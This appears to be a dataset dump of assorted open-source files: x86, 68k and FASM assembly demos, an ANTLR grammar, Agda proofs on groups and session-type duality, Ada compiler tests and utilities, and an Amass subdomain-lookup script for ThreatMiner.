mov si,bx
mov bx, 0007h ; DisplayPage 0, GraphicsColor 7 (white)
jmp .fetch
.print:
mov ah, 0eh ; Write character to TTY
int 10h
.fetch:
lodsb ; Read a character from si and puts it into al
test al, al ; Is al == 0?
jnz .print ; If not print al
ret
|
oap-server/oal-grammar/src/main/antlr4/org/apache/skywalking/oal/rt/grammar/OALParser.g4 | McrhDG/skywalking | 0 | 2816 | <filename>oap-server/oal-grammar/src/main/antlr4/org/apache/skywalking/oal/rt/grammar/OALParser.g4
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
parser grammar OALParser;
@Header {package org.apache.skywalking.oal.rt.grammar;}
options { tokenVocab=OALLexer; }
// Top Level Description
root
: (aggregationStatement | disableStatement)*
;
aggregationStatement
: variable (SPACE)? EQUAL (SPACE)? metricStatement DelimitedComment? LineComment? (SEMI|EOF)
;
disableStatement
: DISABLE LR_BRACKET disableSource RR_BRACKET DelimitedComment? LineComment? (SEMI|EOF)
;
metricStatement
: FROM LR_BRACKET (sourceAttrCast)? source (sourceAttributeStmt+) RR_BRACKET (filterStatement+)? DOT aggregateFunction
;
filterStatement
: DOT FILTER LR_BRACKET filterExpression RR_BRACKET
;
filterExpression
: expression
;
source
: SRC_ALL | SRC_SERVICE | SRC_DATABASE_ACCESS | SRC_SERVICE_INSTANCE | SRC_ENDPOINT |
SRC_SERVICE_RELATION | SRC_SERVICE_INSTANCE_RELATION | SRC_ENDPOINT_RELATION |
SRC_SERVICE_INSTANCE_CLR_CPU | SRC_SERVICE_INSTANCE_CLR_GC | SRC_SERVICE_INSTANCE_CLR_THREAD |
SRC_SERVICE_INSTANCE_JVM_CPU | SRC_SERVICE_INSTANCE_JVM_MEMORY | SRC_SERVICE_INSTANCE_JVM_MEMORY_POOL | SRC_SERVICE_INSTANCE_JVM_GC | SRC_SERVICE_INSTANCE_JVM_THREAD | SRC_SERVICE_INSTANCE_JVM_CLASS |// JVM source of service instance
SRC_ENVOY_INSTANCE_METRIC |
SRC_BROWSER_APP_PERF | SRC_BROWSER_APP_PAGE_PERF | SRC_BROWSER_APP_SINGLE_VERSION_PERF |
SRC_BROWSER_APP_TRAFFIC | SRC_BROWSER_APP_PAGE_TRAFFIC | SRC_BROWSER_APP_SINGLE_VERSION_TRAFFIC |
SRC_EVENT
;
disableSource
: IDENTIFIER
;
sourceAttributeStmt
: DOT sourceAttribute
;
sourceAttribute
: IDENTIFIER | ALL | mapAttribute
;
variable
: IDENTIFIER
;
aggregateFunction
: functionName LR_BRACKET ((funcParamExpression|literalExpression|attributeExpression) (COMMA (funcParamExpression|literalExpression|attributeExpression))?)? RR_BRACKET
;
functionName
: IDENTIFIER
;
funcParamExpression
: expression
;
literalExpression
: BOOL_LITERAL | NUMBER_LITERAL | STRING_LITERAL
;
attributeExpression
: functionArgCast? attributeExpressionSegment (DOT attributeExpressionSegment)*
;
attributeExpressionSegment
: (IDENTIFIER | mapAttribute)
;
expression
: booleanMatch | numberMatch | stringMatch | greaterMatch | lessMatch | greaterEqualMatch | lessEqualMatch | notEqualMatch | booleanNotEqualMatch | likeMatch | inMatch | containMatch | notContainMatch
;
containMatch
: conditionAttributeStmt CONTAIN stringConditionValue
;
notContainMatch
: conditionAttributeStmt NOT_CONTAIN stringConditionValue
;
booleanMatch
: conditionAttributeStmt DUALEQUALS booleanConditionValue
;
numberMatch
: conditionAttributeStmt DUALEQUALS numberConditionValue
;
stringMatch
: conditionAttributeStmt DUALEQUALS (stringConditionValue | enumConditionValue)
;
greaterMatch
: conditionAttributeStmt GREATER numberConditionValue
;
lessMatch
: conditionAttributeStmt LESS numberConditionValue
;
greaterEqualMatch
: conditionAttributeStmt GREATER_EQUAL numberConditionValue
;
lessEqualMatch
: conditionAttributeStmt LESS_EQUAL numberConditionValue
;
booleanNotEqualMatch
: conditionAttributeStmt NOT_EQUAL booleanConditionValue
;
notEqualMatch
: conditionAttributeStmt NOT_EQUAL (numberConditionValue | stringConditionValue | enumConditionValue)
;
likeMatch
: conditionAttributeStmt LIKE stringConditionValue
;
inMatch
: conditionAttributeStmt IN multiConditionValue
;
multiConditionValue
: LS_BRACKET (numberConditionValue ((COMMA numberConditionValue)*) | stringConditionValue ((COMMA stringConditionValue)*) | enumConditionValue ((COMMA enumConditionValue)*)) RS_BRACKET
;
conditionAttributeStmt
: (expressionAttrCast)? conditionAttribute ((DOT conditionAttribute)*)
;
conditionAttribute
: (IDENTIFIER | mapAttribute)
;
mapAttribute
: IDENTIFIER LS_BRACKET STRING_LITERAL RS_BRACKET
;
booleanConditionValue
: BOOL_LITERAL
;
stringConditionValue
: STRING_LITERAL
;
enumConditionValue
: IDENTIFIER DOT IDENTIFIER
;
numberConditionValue
: NUMBER_LITERAL
;
sourceAttrCast
: castStmt
;
expressionAttrCast
: castStmt
;
functionArgCast
: castStmt
;
castStmt
: STRING_TO_LONG | STRING_TO_LONG_SHORT | STRING_TO_INT | STRING_TO_INT_SHORT
; |
Bank_H/3_startinit.asm | ndf-zz/fv1testing | 0 | 244383 | ; FV-1 Testing
;
; Program: Prepare Test 4
;
or 0x7fffff
skp RUN,main
wrax REG0,1.0
main: wrax DACL,0.0
ldax REG0
wrax DACR,0.0
|
Base/Prod.agda | DDOtten/M-types | 0 | 777 | <filename>Base/Prod.agda
{-# OPTIONS --without-K #-}
open import M-types.Base.Core
module M-types.Base.Prod where
∏ : (X : Ty ℓ₀) → (Y : X → Ty ℓ₁) → Ty (ℓ-max ℓ₀ ℓ₁)
∏ X Y = (x : X) → Y x
∏-syntax : (X : Ty ℓ₀) → (Y : X → Ty ℓ₁) → Ty (ℓ-max ℓ₀ ℓ₁)
∏-syntax = ∏
infix 2 ∏-syntax
syntax ∏-syntax X (λ x → Y) = ∏[ x ∈ X ] Y
id : {X : Ty ℓ} →
(X → X)
id = λ x → x
infixr 9 _∘_
_∘_ : {X : Ty ℓ₀} {Y : X → Ty ℓ₁} {Z : {x : X} → Y x → Ty ℓ₂} →
∏[ g ∈ ({x : X} → ∏[ y ∈ Y x ] Z y) ]
∏[ f ∈ (∏[ x ∈ X ] Y x) ]
∏[ x ∈ X ] Z (f x)
f ∘ g = λ x → f (g x)
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd5013a.ada | best08618/asylo | 7 | 19239 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cd/cd5013a.ada
-- CD5013A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT AN ADDRESS CLAUSE CAN BE GIVEN IN THE VISIBLE PART OF
-- A PACKAGE SPECIFICATION FOR A VARIABLE OF AN ENUMERATION TYPE,
-- WHERE THE VARIABLE IS DECLARED IN THE VISIBLE PART OF THE
-- SPECIFICATION.
-- HISTORY:
-- BCB 09/16/87 CREATED ORIGINAL TEST.
-- PWB 05/11/89 CHANGED EXTENSION FROM '.DEP' TO '.ADA'.
WITH REPORT; USE REPORT;
WITH SPPRT13; USE SPPRT13;
WITH SYSTEM; USE SYSTEM;
PROCEDURE CD5013A IS
TYPE ENUM_TYPE IS (ONE,TWO,THREE,FOUR,FIVE,SIX);
PACKAGE PACK IS
CHECK_TYPE : ENUM_TYPE;
FOR CHECK_TYPE USE AT VARIABLE_ADDRESS;
END PACK;
USE PACK;
BEGIN
TEST ("CD5013A", "AN ADDRESS CLAUSE CAN BE GIVEN IN " &
"THE VISIBLE PART OF A PACKAGE SPECIFICATION " &
"FOR A VARIABLE OF AN ENUMERATION TYPE, WHERE " &
"THE VARIABLE IS DECLARED IN THE VISIBLE PART " &
"OF THE SPECIFICATION");
CHECK_TYPE := ONE;
IF EQUAL(3,3) THEN
CHECK_TYPE := THREE;
END IF;
IF CHECK_TYPE /= THREE THEN
FAILED ("INCORRECT VALUE FOR ENUMERATION VARIABLE");
END IF;
IF CHECK_TYPE'ADDRESS /= VARIABLE_ADDRESS THEN
FAILED ("INCORRECT ADDRESS FOR ENUMERATION VARIABLE");
END IF;
RESULT;
END CD5013A;
|
agda/MorePropAlgebra/Properties/Group.agda | mchristianl/synthetic-reals | 3 | 10719 | <reponame>mchristianl/synthetic-reals
{-# OPTIONS --cubical --no-import-sorts #-}
open import Cubical.Foundations.Everything renaming (_⁻¹ to _⁻¹ᵖ; assoc to ∙-assoc)
open import Function.Base using (_∋_)
import Cubical.Algebra.Group as Std
-- import Cubical.Structures.Group.Properties
open import MorePropAlgebra.Bundles
module MorePropAlgebra.Properties.Group {ℓ} (assumptions : Group {ℓ}) where
open Group assumptions renaming (Carrier to G)
import MorePropAlgebra.Properties.Monoid
module Monoid'Properties = MorePropAlgebra.Properties.Monoid (record { Group assumptions }) -- how does this even work without renaming?
module Monoid' = Monoid (record { Group assumptions })
( Monoid') = Monoid ∋ (record { Group assumptions })
stdIsGroup : Std.IsGroup 0g _+_ (-_)
stdIsGroup .Std.IsGroup.isMonoid = Monoid'Properties.stdIsMonoid
stdIsGroup .Std.IsGroup.inverse = is-inverse
stdGroup : Std.Group {ℓ}
stdGroup = record { Group assumptions ; isGroup = stdIsGroup }
module GroupLemmas' = Std.GroupLemmas stdGroup
-- module GroupLemmas (G : Group {ℓ}) where
-- open Group G public
-- abstract
-- simplL : (a : Carrier) {b c : Carrier} → a + b ≡ a + c → b ≡ c
-- simplR : {a b : Carrier} (c : Carrier) → a + c ≡ b + c → a ≡ b
-- invInvo : (a : Carrier) → - (- a) ≡ a
-- invId : - 0g ≡ 0g
-- idUniqueL : {e : Carrier} (x : Carrier) → e + x ≡ x → e ≡ 0g
-- idUniqueR : (x : Carrier) {e : Carrier} → x + e ≡ x → e ≡ 0g
-- invUniqueL : {g h : Carrier} → g + h ≡ 0g → g ≡ - h
-- invUniqueR : {g h : Carrier} → g + h ≡ 0g → h ≡ - g
-- invDistr : (a b : Carrier) → - (a + b) ≡ - b - a
-- private
-- simplR = GroupLemmas.simplR G
abstract
invUniqueL : {g h : G} → g + h ≡ 0g → g ≡ - h
invUniqueL {g} {h} p = GroupLemmas'.simplR h (p ∙ sym (is-invl h))
-- ported from `Algebra.Properties.Group`
private
right-helper : ∀ x y → y ≡ - x + (x + y)
right-helper x y = (
y ≡⟨ sym (snd (is-identity y)) ⟩
0g + y ≡⟨ cong₂ _+_ (sym (snd (is-inverse x))) refl ⟩
((- x) + x) + y ≡⟨ sym (is-assoc (- x) x y) ⟩
(- x) + (x + y) ∎)
-- alternative:
-- follows from uniqueness of -
-- (a + -a) ≡ 0
-- ∃! b . a + b = 0
-- show that a is an additive inverse of - a then it must be THE additive inverse of - a and has to be called - - a which is a by uniqueness
-involutive : ∀ x → - - x ≡ x
-involutive x = (
(- (- x)) ≡⟨ sym (fst (is-identity _)) ⟩
(- (- x)) + 0g ≡⟨ cong₂ _+_ refl (sym (snd (is-inverse _))) ⟩
(- (- x)) + (- x + x) ≡⟨ sym (right-helper (- x) x) ⟩
x ∎)
|
Structure/Real/Continuity.agda | Lolirofle/stuff-in-agda | 6 | 14452 | <reponame>Lolirofle/stuff-in-agda
-- TODO: Move these to stuff related to metric spaces
module Continuity where
open Limit
-- Statement that the point x of function f is a continous point
ContinuousPoint : (ℝ → ℝ) → ℝ → Stmt
ContinuousPoint f(x) = (⦃ limit : Lim f(x) ⦄ → (lim f(x)⦃ limit ⦄ ≡ f(x)))
-- Statement that the function f is continous
Continuous : (ℝ → ℝ) → Stmt
Continuous f = ∀{x} → ContinuousPoint f(x)
module Proofs where
-- instance postulate DifferentiablePoint-to-ContinuousPoint : ∀{f}{x}{diff} → ⦃ _ : DifferentiablePoint f(x)⦃ diff ⦄ ⦄ → ContinuousPoint f(x)
-- instance postulate Differentiable-to-Continuous : ∀{f}{diff} → ⦃ _ : Differentiable(f)⦃ diff ⦄ ⦄ → Continuous(f)
|
tools-src/gnu/gcc/gcc/ada/prj-com.adb | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 6008 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- P R J . C O M --
-- --
-- B o d y --
-- --
-- $Revision$
-- --
-- Copyright (C) 2000 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Namet; use Namet;
with Stringt; use Stringt;
package body Prj.Com is
----------
-- Hash --
----------
function Hash (Name : Name_Id) return Header_Num is
begin
return Hash (Get_Name_String (Name));
end Hash;
function Hash (Name : String_Id) return Header_Num is
begin
String_To_Name_Buffer (Name);
return Hash (Name_Buffer (1 .. Name_Len));
end Hash;
end Prj.Com;
|
Projects/HideDesktop/HideDesktop/HideDesktop.asm | Zalexanninev15/ALP | 0 | 83955 | ; License: https://github.com/Zalexanninev15/ALP/blob/main/LICENSE
format PE GUI 4.0
entry start
include 'includes\win32a.inc'
section '.data' data readable writeable
szProg db 'ProgMan',0
section '.code' code readable executable
start:
invoke FindWindow,szProg,NULL
invoke GetWindow,eax,GW_CHILD
invoke GetWindow,eax,GW_CHILD
mov ebx,eax
invoke IsWindowVisible,ebx
or eax,eax
jne @f
invoke ShowWindow,ebx,SW_SHOW
jmp loc_exit
@@:
invoke ShowWindow,ebx,SW_HIDE
loc_exit:
invoke ExitProcess,0
section '.idata' import data readable writeable
library kernel32,"kernel32.dll",\user32,"user32.dll"
include "includes\api\kernel32.inc"
include "includes\api\user32.inc" |
lxc/tests/test64.nasm | g-w1/piston | 0 | 81412 | <reponame>g-w1/piston
SECTION .data
good: db "good", 0x0a, 0x0
txtlen: equ $ - good
SECTION .text
GLOBAL _start
_start:
;sys_write
mov rax, 1
mov rdi, 1
mov rsi, good
mov rdx, txtlen
syscall
;sys_exit
mov rax, 60
mov rdi, 0
syscall
|
src/DualTail1.agda | peterthiemann/dual-session | 1 | 12512 | module DualTail1 where
open import Data.Nat
open import Data.Fin using (Fin; zero; suc)
open import Data.Product
open import Function using (id; _∘_)
open import Relation.Binary.PropositionalEquality using (_≡_; refl)
open import Types.Direction
open import Types.IND1 as IND hiding (GType; Type; SType; _≈_; _≈'_)
import Types.COI as COI
open import Types.Tail1
private
variable
n : ℕ
-- instead of unrolling and substituting, we maintain a stack of bodies of recursive types
data Stack {GType : ℕ → Set} : ℕ → Set where
ε : Stack 0
⟪_,_⟫ : Stack {GType} n → GType (suc n) → Stack (suc n)
-- obtain an entry from the stack
-- technically m = n - i, but we don't need to know
get : ∀ {GType} (i : Fin n) → Stack {GType} n → Σ ℕ λ m → Stack {GType} m × GType (suc m)
get zero ⟪ σ , x ⟫ = _ , (σ , x)
get (suc i) ⟪ σ , x ⟫ = get i σ
-- the dual of a stack
dual-stack : Stack {GType} n → Stack {GType} n
dual-stack ε = ε
dual-stack ⟪ σ , g ⟫ = ⟪ dual-stack σ , dualG g ⟫
-- relate a stack entry to the corresponding entry on the dual stack
get-dual-stack : (x : Fin n) (σ : Stack n) →
get x (dual-stack σ) ≡ map id (map dual-stack dualG) (get x σ)
get-dual-stack zero ⟪ σ , x ⟫ = refl
get-dual-stack (suc x) ⟪ σ , x₁ ⟫ = get-dual-stack x σ
-- stacked version of general mapping of inductive session type to COI
ind2coiS : Stack {IND.GType} n → IND.SType n → COI.SType
ind2coiG : Stack {IND.GType} n → IND.GType n → COI.STypeF COI.SType
ind2coiT : Stack {IND.GType} n → IND.TType n → COI.Type
COI.SType.force (ind2coiS σ (gdd G)) = ind2coiG σ G
COI.SType.force (ind2coiS σ (rec G)) = ind2coiG ⟪ σ , G ⟫ G
COI.SType.force (ind2coiS σ (var x)) with get x σ
... | m , σ' , gxs = ind2coiG ⟪ σ' , gxs ⟫ gxs
ind2coiG σ (transmit d T S) = COI.transmit d (ind2coiT σ T) (ind2coiS σ S)
ind2coiG σ (choice d m alt) = COI.choice d m (ind2coiS σ ∘ alt)
ind2coiG σ end = COI.end
ind2coiT σ TUnit = COI.TUnit
ind2coiT σ TInt = COI.TInt
ind2coiT σ (TPair T T₁) = COI.TPair (ind2coiT σ T) (ind2coiT σ T₁)
ind2coiT σ (TChan S) = COI.TChan (ind2coiS σ S)
-- mapping tail recursive session types to coinductive session types
-- relies on a stack to unfold variables on the fly
tail2coiT : Type → COI.Type
tail2coiS : Stack {GType} n → SType n → COI.SType
tail2coiG : Stack {GType} n → GType n → COI.STypeF COI.SType
tail2coiT TUnit = COI.TUnit
tail2coiT TInt = COI.TInt
tail2coiT (TPair t t₁) = COI.TPair (tail2coiT t) (tail2coiT t₁)
tail2coiT (TChan s) = COI.TChan (ind2coiS ε s)
COI.SType.force (tail2coiS σ (gdd g)) = tail2coiG σ g
COI.SType.force (tail2coiS σ (rec g)) = tail2coiG ⟪ σ , g ⟫ g
COI.SType.force (tail2coiS σ (var x))
with get x σ
... | m , σ' , gxs = tail2coiG ⟪ σ' , gxs ⟫ gxs
tail2coiG σ (transmit d t s) = COI.transmit d (tail2coiT t) (tail2coiS σ s)
tail2coiG σ (choice d m alt) = COI.choice d m (tail2coiS σ ∘ alt)
tail2coiG σ end = COI.end
-- get coinductive bisimulation in scope
_≈_ = COI._≈_
_≈'_ = COI._≈'_
-- main proposition
dual-tailS : (σ : Stack {GType} n) (s : SType n) →
COI.dual (tail2coiS σ s) ≈ tail2coiS (dual-stack σ) (dualS s)
dual-tailG : (σ : Stack {GType} n) (g : GType n) →
COI.dualF (tail2coiG σ g) ≈' tail2coiG (dual-stack σ) (dualG g)
COI.Equiv.force (dual-tailS σ (gdd g)) = dual-tailG σ g
COI.Equiv.force (dual-tailS σ (rec g)) = dual-tailG ⟪ σ , g ⟫ g
COI.Equiv.force (dual-tailS σ (var x))
rewrite get-dual-stack x σ
with get x σ
... | m , σ' , g = dual-tailG ⟪ σ' , g ⟫ g
dual-tailG σ (transmit d t s) = COI.eq-transmit (dual-dir d) COI.≈ᵗ-refl (dual-tailS σ s)
dual-tailG σ (choice d m alt) = COI.eq-choice (dual-dir d) (dual-tailS σ ∘ alt)
dual-tailG σ end = COI.eq-end
-- corrolary for SType 0
dual-tail : ∀ s → COI.dual (tail2coiS ε s) ≈ tail2coiS ε (dualS s)
dual-tail = dual-tailS ε
|
test/Fail/Issue2935.agda | shlevy/agda | 1,989 | 13961 | module Issue2935 where
data ℕ : Set where
zero : ℕ
suc : ℕ → ℕ
bad : ℕ → ℕ
bad zero = zero
bad suc = zero
|
demo-falling.asm | billyrayvalentine/asm68k-megadrive-demo-falling | 1 | 95365 | /*
* demo-falling.asm
* Written for use with GNU AS
* Copyright © 2020 <NAME> <github.com/billyrayvalentine>
* This work is free. You can redistribute it and/or modify it under the
* terms of the Do What The Fuck You Want To Public License, Version 2,
* as published by Sam Hocevar. See the COPYING file for more details.
*/
* Everything kicks off here. Must be at 0x200
.include "rom_header.asm"
cpu_entrypoint:
* Setup the TMSS stuff
jsr tmss
* Setup the VDP registers
jsr init_vdp
* All the commands to send to the control port can be worked out using the
* example in the README
* Load the palette into CRAM
move.l #0xC0000000, VDP_CTRL_PORT
lea Palette0, a0
moveq #16-1, d0
1: move.w (a0)+, VDP_DATA_PORT
dbra d0, 1b
* Load (tiles)
* Skip the first 32 bytes of VRAM so we have a blank tile
move.l #0x40200000, VDP_CTRL_PORT
* Load the bar tiles
lea TilesBar, a0
moveq #8-1, d0
1: move.l (a0)+, VDP_DATA_PORT
dbra d0, 1b
/*
* Initialise the RAM with the sprite values in a loop
* Set the initial X,Y,SUBPIXEL and SPEED
* d0 = sprite / loop counter
* d1 = X position counter
* a0 points to start of sprite table in RAM
* a1 points to start of sprite speed values in ROM
*/
move.w #SPRITE_TOTAL_NUMBER -1, d0
lea RAM_SPRITE_TABLE_START, a0
lea SpriteSpeeds, a1
* X position
move.w #128, d1
* Set Y position
1: move.w d1, (a0)+
* Set X position
move.w #128, (a0)+
* Set subpixel
move.w #0, (a0)+
* Set speed
move.l (a1)+, (a0)+
* Increment X position
addi.w #16, d1
dbra d0, 1b
/*
* Main loop
* Wait for the VBLANK to start
* Move the sprite
* Wait for the VBLANK to end
*
*/
forever:
jsr wait_vblank_start
/*
* For each sprite:
* Check the Y position is in the screen and reset to 0 if not
* Add the sprite speed to the subpixel count
* Calculate the Y position from the subpixel count
* d0 = sprite / loop counter
* d1 = temporary store to manipulate subpixel
* a0 points to start of sprite table in RAM
*/
move.w #SPRITE_TOTAL_NUMBER -1, d0
lea RAM_SPRITE_TABLE_START, a0
* Check sprite Y position is still inside screen or reset to 0
1: cmpi.w #SCREEN_SIZE_Y + 128 + 8, (a0, ST_Y_OFFSET)
bls.w 2f
move.w #0 + 128, (a0, ST_Y_OFFSET)
* Update the subpixel count
* add speed to subpixel using d1
2: clr.l d1
move.w (a0, ST_SUB_PIXEL_OFFSET), d1
add.l (a0, ST_SPEED_OFFSET), d1
* Move the updated mantissa (subpixel) back to RAM
move.w d1, (a0, ST_SUB_PIXEL_OFFSET)
* Swap the MSB (integer value of pixels to move) to the LSB
* and update the Y position
swap d1
add.w d1, (a0, ST_Y_OFFSET)
* Move sprite table pointer to next row
lea (a0, ST_ROW_SIZE), a0
dbra d0, 1b
jsr update_sprite_table
jsr wait_vblank_end
jmp forever
update_sprite_table:
/*
* This should use DMA in the future
* NOTE: This will go bang if there are less than 2 sprites
*
* Iterate the sprite table RAM and update the X, Y and sprite index
* d0 = sprite / loop counter also will be the sprite index
* d1 = loop counter
* a0 points to second entry of sprite table in RAM
* Add entries with ascending sprite link index stating with 1
* this seems to be q requirement?
* Last entry must have index 0
*/
* Update sprite table
clr d0
move.w #1, d1
move.w #SPRITE_TOTAL_NUMBER, d0
lea RAM_SPRITE_TABLE_START, a0
move.l #0x68000002, VDP_CTRL_PORT
1: move.w (a0, ST_Y_OFFSET), VDP_DATA_PORT
move.w d1, VDP_DATA_PORT
move.w #1, VDP_DATA_PORT
move.w (a0, ST_X_OFFSET), VDP_DATA_PORT
addq #1, d1
lea (a0, ST_ROW_SIZE), a0
cmpi.w #SPRITE_TOTAL_NUMBER, d1
bne 1b
* Add the last sprite in the table but set the sprite index to 0
move.w (a0, ST_Y_OFFSET), VDP_DATA_PORT
move.w #0, VDP_DATA_PORT
move.w #1, VDP_DATA_PORT
move.w (a0, ST_X_OFFSET), VDP_DATA_PORT
rts
wait_vblank_start:
* Bit 4 of the VDP register is set to 1 when the vblanking is in progress
* Keep looping until this is set
* The VDP register can be read simply by reading from the control port
* address
move.w VDP_CTRL_PORT, d0
btst.b #4-1, d0
beq wait_vblank_start
rts
wait_vblank_end:
* Similar to wait_vblank_start but the inverse
move.w VDP_CTRL_PORT, d0
btst.b #4-1, d0
bne wait_vblank_end
rts
.include "globals.asm"
.include "init_vdp.asm"
.include "tmss.asm"
.include "palletes.asm"
/*
* Interrupt handler
*/
cpu_exception:
rte
int_null:
rte
int_hinterrupt:
rte
int_vinterrupt:
rte
rom_end:
|
resources/scripts/api/threatminer.ads | Elon143/Amass | 7,053 | 14249 | <reponame>Elon143/Amass<gh_stars>1000+
-- Copyright 2020-2021 <NAME>. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local url = require("url")
local json = require("json")
name = "ThreatMiner"
type = "api"
function start()
set_rate_limit(8)
end
function vertical(ctx, domain)
local resp, err = request(ctx, {['url']=build_url(domain)})
if (err ~= nil and err ~= "") then
log(ctx, "vertical request to service failed: " .. err)
return
end
local d = json.decode(resp)
if (d == nil or d.status_code ~= "200" or #(d.results) == 0) then
return
end
for _, sub in pairs(d.results) do
new_name(ctx, sub)
end
end
function build_url(domain)
local params = {
['rt']="5",
['q']=domain,
['api']="True",
}
return "https://api.threatminer.org/v2/domain.php?" .. url.build_query_string(params)
end
|
ejercicios6/calcular_maximo_y_posicion.adb | iyan22/AprendeAda | 0 | 18804 | <gh_stars>0
with Datos;
use Datos;
procedure Calcular_Maximo_Y_Posicion ( L : in Lista; Max, Pos_Max : out Integer ) is
-- pre:
-- post: Max contendra el mayor valor de L y Pos_max su posicion
-- Si L es vacia entonces Pos_Max vale cero
LCopia : Lista;
Pos : Integer;
begin
LCopia := L;
Max := 0;
Pos := 1;
Pos_Max := 0;
while LCopia /= null loop
if Max < LCopia.all.info then
Max := LCopia.all.info;
Pos_Max := Pos;
end if;
LCopia := LCopia.all.sig;
Pos := Pos+1;
end loop;
end Calcular_Maximo_Y_Posicion;
|
oeis/079/A079322.asm | neoneye/loda-programs | 11 | 166063 | <reponame>neoneye/loda-programs<filename>oeis/079/A079322.asm
; A079322: Composite numbers of the form 1^1 * 2^2 * 3^3 * 4^4 * ... * n^n + 11.
; Submitted by <NAME>
; 12,15,119,27659,86400011,4031078400011,3319766398771200011,55696437941726556979200011,21577941222941856209168026828800011,215779412229418562091680268288000000000000011
add $0,1
seq $0,2109 ; Hyperfactorials: Product_{k = 1..n} k^k.
add $0,11
|
src/utils.adb | thindil/steamsky | 80 | 28136 | <reponame>thindil/steamsky
-- Copyright 2017-2021 <NAME>
--
-- This file is part of Steam Sky.
--
-- Steam Sky is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 3 of the License, or
-- (at your option) any later version.
--
-- Steam Sky is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with Steam Sky. If not, see <http://www.gnu.org/licenses/>.
with Ada.Numerics.Discrete_Random;
package body Utils with
SPARK_Mode
is
function Get_Random(Min, Max: Integer) return Integer with
SPARK_Mode => Off
is
use Ada.Numerics;
subtype Rand_Range is Integer range Min .. Max;
package Rand_Roll is new Discrete_Random(Result_Subtype => Rand_Range);
Generator: Rand_Roll.Generator;
begin
Rand_Roll.Reset(Gen => Generator);
return Rand_Roll.Random(Gen => Generator);
end Get_Random;
function Generate_Robotic_Name return Unbounded_String is
Letters_Amount: constant Positive := Get_Random(Min => 2, Max => 5);
Numbers_Amount: constant Positive := Get_Random(Min => 2, Max => 4);
subtype Letters is Character range 'A' .. 'Z';
subtype Numbers is Character range '0' .. '9';
New_Name: Unbounded_String :=
To_Unbounded_String
(Source =>
"" &
Letters'Val
(Get_Random
(Min => Letters'Pos(Letters'First),
Max => Letters'Pos(Letters'Last))));
begin
First_Name_Part_Loop :
for I in 2 .. Letters_Amount loop
pragma Loop_Invariant(Length(Source => New_Name) = I - 1);
Append
(Source => New_Name,
New_Item =>
Letters'Val
(Get_Random
(Min => Letters'Pos(Letters'First),
Max => Letters'Pos(Letters'Last))));
end loop First_Name_Part_Loop;
Append(Source => New_Name, New_Item => '-');
Second_Name_Part_Loop :
for I in 1 .. Numbers_Amount loop
pragma Loop_Invariant
(Length(Source => New_Name) =
Length(Source => New_Name'Loop_Entry) + (I - 1));
Append
(Source => New_Name,
New_Item =>
Numbers'Val
(Get_Random
(Min => Numbers'Pos(Numbers'First),
Max => Numbers'Pos(Numbers'Last))));
end loop Second_Name_Part_Loop;
return New_Name;
end Generate_Robotic_Name;
end Utils;
|
test/asset/agda-stdlib-1.0/Data/Vec/Categorical.agda | omega12345/agda-mode | 0 | 6853 | <reponame>omega12345/agda-mode<gh_stars>0
------------------------------------------------------------------------
-- The Agda standard library
--
-- A categorical view of Vec
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Vec.Categorical {a n} where
open import Category.Applicative using (RawApplicative)
open import Category.Applicative.Indexed using (Morphism)
open import Category.Functor as Fun using (RawFunctor)
import Function.Identity.Categorical as Id
open import Category.Monad using (RawMonad)
open import Data.Fin using (Fin)
open import Data.Vec as Vec hiding (_⊛_)
open import Data.Vec.Properties
open import Function
